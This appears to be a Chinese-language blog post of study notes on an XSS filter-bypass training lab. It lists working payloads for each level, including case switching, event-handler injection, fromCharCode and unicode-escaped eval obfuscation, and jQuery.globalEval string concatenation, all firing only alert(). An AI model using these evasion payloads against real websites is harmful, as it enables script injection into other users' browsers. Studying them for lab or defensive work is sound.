XSS Bypass

XSS Bypass思路:
1. 大小写绕过.
2. 关键字替换.
3. 编码绕过.

Part 1.
第1关: 无过滤.
<script>alert(/xss/)</script 


第2关: 过滤<script>标签,未考虑大小写问题.
绕过思路: 大小写绕过.
<SCRIPT>alert(/xss/)</SCRIPT>


第3关:过滤<script>关键字,考虑大小写问题.
绕过思路:采用其他语句调用js.
方法1:<BODY onload="alert('XSS')">

方法2:<IMG SRC="" onerror="alert('XSS')">


第4关:过滤alert关键字,考虑大小写问题.
绕过思路:编码绕过.
1.使用String.fromCharCode()函数:
<img src="" onerror="eval(String.fromCharCode(97,108,101,114,116,40,47,120,115,115,47,41))">

2.使用JS转义:
<img src="" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u002f\u0078\u0073\u0073\u002f\u0029')">


第5关:变量接受封装过滤
绕过思路:使其php代码失效,组合语句.
";alert(/xss/);//

Part 2.
如果双引号被过滤,可以尝试用%2b拼接字符串进行绕过.
如果双引号,eval,alert等被过滤,页面中引入了JQuery可以尝试用%2b和 jQuery.globalEval函数绕过.
例如:

?page='%2bjQuery.globalEval('a'%2b'lert'%2b'(/xss/)')%2b'

推荐一个XSS学习网站: http://xsst.sinaapp.com/example/1-1.php

感悟: 在XSS的过滤中,上下文确实非常重要,如果没有对于上下文正确的理解,很难做出正确的过滤。看来熟悉Javascript还是非常有用的,抽时间好好看看Javascript.

猜你喜欢

转载自blog.csdn.net/sufeiboy/article/details/79683493
xss